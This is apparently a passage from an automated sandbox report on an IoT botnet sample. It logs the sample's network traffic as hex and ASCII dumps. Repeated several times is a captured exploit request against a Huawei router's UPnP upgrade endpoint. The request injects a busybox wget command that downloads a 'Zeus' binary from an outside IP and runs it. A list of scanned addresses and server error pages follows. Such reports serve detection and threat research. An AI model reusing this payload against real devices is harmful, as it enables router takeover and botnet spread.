2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 107.172.157.131
Source: unknown	TCP traffic detected without corresponding DNS query: 98.225.194.160
Source: unknown	TCP traffic detected without corresponding DNS query: 98.176.239.40
Source: unknown	TCP traffic detected without corresponding DNS query: 172.225.170.144
Source: unknown	TCP traffic detected without corresponding DNS query: 98.3.229.160
Source: unknown	TCP traffic detected without corresponding DNS query: 98.38.55.139
Source: unknown	TCP traffic detected without corresponding DNS query: 98.192.49.66
Source: unknown	TCP traffic detected without corresponding DNS query: 184.8.113.254
Source: unknown	TCP traffic detected without corresponding DNS query: 172.147.107.209
Source: unknown	TCP traffic detected without corresponding DNS query: 172.0.95.169
Source: unknown	TCP traffic detected without corresponding DNS query: 98.144.155.42
Source: unknown	TCP traffic detected without corresponding DNS query: 184.3.163.163
Source: unknown	TCP traffic detected without corresponding DNS query: 98.59.21.92
Source: unknown	TCP traffic detected without corresponding DNS query: 98.138.222.23
Source: unknown	TCP traffic detected without corresponding DNS query: 98.233.21.229
Source: unknown	TCP traffic detected without corresponding DNS query: 184.32.8.223
Source: unknown	TCP traffic detected without corresponding DNS query: 172.45.176.205
Source: unknown	TCP traffic detected without corresponding DNS query: 184.99.151.23
Source: unknown	TCP traffic detected without corresponding DNS query: 172.139.219.203
Source: unknown	TCP traffic detected without corresponding DNS query: 98.183.117.78
Source: unknown	TCP traffic detected without corresponding DNS query: 98.225.143.186
Source: unknown	TCP traffic detected without corresponding DNS query: 184.18.79.103
Source: unknown	TCP traffic detected without corresponding DNS query: 184.242.71.106
Source: unknown	TCP traffic detected without corresponding DNS query: 172.209.39.205
Source: unknown	TCP traffic detected without corresponding DNS query: 172.160.85.185
Source: unknown	TCP traffic detected without corresponding DNS query: 184.11.118.98
Source: unknown	TCP traffic detected without corresponding DNS query: 184.64.75.247
Source: unknown	TCP traffic detected without corresponding DNS query: 184.252.212.113
Source: unknown	TCP traffic detected without corresponding DNS query: 98.174.130.15
Source: unknown	TCP traffic detected without corresponding DNS query: 98.220.69.118
Source: unknown	TCP traffic detected without corresponding DNS query: 98.32.234.28
Source: unknown	TCP traffic detected without corresponding DNS query: 184.198.43.222
Source: unknown	TCP traffic detected without corresponding DNS query: 172.63.83.129
Source: unknown	TCP traffic detected without corresponding DNS query: 172.207.149.40
Source: unknown	TCP traffic detected without corresponding DNS query: 172.203.28.75
Source: unknown	TCP traffic detected without corresponding DNS query: 184.227.95.11
Source: unknown	TCP traffic detected without corresponding DNS query: 172.71.26.161
Source: unknown	TCP traffic detected without corresponding DNS query: 98.198.181.113
Source: unknown	TCP traffic detected without corresponding DNS query: 98.126.143.135
Source: unknown	TCP traffic detected without corresponding DNS query: 98.230.55.221
Source: unknown	TCP traffic detected without corresponding DNS query: 98.230.0.49
Source: unknown	TCP traffic detected without corresponding DNS query: 172.149.139.31
Source: unknown	TCP traffic detected without corresponding DNS query: 172.139.170.210
Source: unknown	TCP traffic detected without corresponding DNS query: 172.138.240.190
Source: unknown	TCP traffic detected without corresponding DNS query: 184.142.37.173
Source: unknown	TCP traffic detected without corresponding DNS query: 184.63.109.123
Source: unknown	TCP traffic detected without corresponding DNS query: 98.255.87.149
Source: unknown	TCP traffic detected without corresponding DNS query: 184.99.17.33
Source: unknown	TCP traffic detected without corresponding DNS query: 184.60.195.22
Source: unknown	TCP traffic detected without corresponding DNS query: 184.24.73.44

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:36:29 GMTContent-Type: text/htmlContent-Length: 1270Connection: keep-aliveVary: Accept-EncodingETag: "608fafcf-4f6"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 09 Mar 2022 13:33:21 GMTContent-Type: text/htmlContent-Length: 3650Connection: keep-aliveETag: "616e0979-e42"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c 21 5b 43 44 41 54 41 5b 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 39 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 2c 68 65 6c 76 65 74 69 63 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 6c 69 6e 6b 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3a 76 69 73 69 74 65 64 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 63 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 35 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 36 65 6d 20 32 65 6d 20 30 2e 34 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:36:38 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:36:41 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:36:44 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:36:44 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:36:53 GMTServer: ApacheContent-Length: 262Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:36:54 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:36:54 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableDate: Wed, 09 Mar 2022 13:36:57 GMTServer: ApachePragma: no-cacheCache-Control: no-cache, must-revalidate, privateExpires: Sat, 26 Jul 1997 05:00:00 GMTRetry-After: 3600Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-Encodinghost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 59 6f 75 72 20 61 63 63 65 73 73 20 74 6f 20 74 68 69 73 20 73 69 74 65 20 68 61 73 20 62 65 65 6e 20 6c 69 6d 69 74 65 64 20 62 79 20 74 68 65 20 73 69 74 65 20 6f 77 6e 65 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 38 37 35 72 65 6d 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 33 3b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 7d 0a 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 7d 0a 0a 09 09 61 20 7b 0a 09 09 09 63 6f 6c 6f 72 3a 23 30 30 37 30 39 65 3b 0a 09 09 7d 0a 0a 09 09 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 0a 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 09 09 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 3b 0a 09 09 7d 0a 0a 09 09 68 31 2c 20 2e 68 31 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 72 65 6d 3b 20 7d 0a 09 09 68 32 2c 20 2e 68 32 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 35 72 65 6d 3b 20 7d 0a 09 09 68 33 2c 20 2e 68 33 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 72 65 6d 3b 20 7d 0a 09 09 68 34 2c 20 2e 68 34 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 72 65 6d 3b 20 7d 0a 09 09 68 35 2c 20 2e 68 35 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 38 37 35 72 65 6d 3b 20 7d 0a 09 09 68 36 2c 20 2e 68 36 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 30 2e 37 35 72 65 6d 3b 20 7d 0a 0a 09 09 68 31 2c 20 68 32 2c 20 68 33 20 7b 0a 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 09 09 7d 0a 09 09 68 34 2c 20 68 35 2c 20 68 36 20 7b 0a 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 09 09 7d 0a 0a 09 09 2e 77 66 2d 62 74 6e 20 7b 0a 09 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 3b 0a 09 09
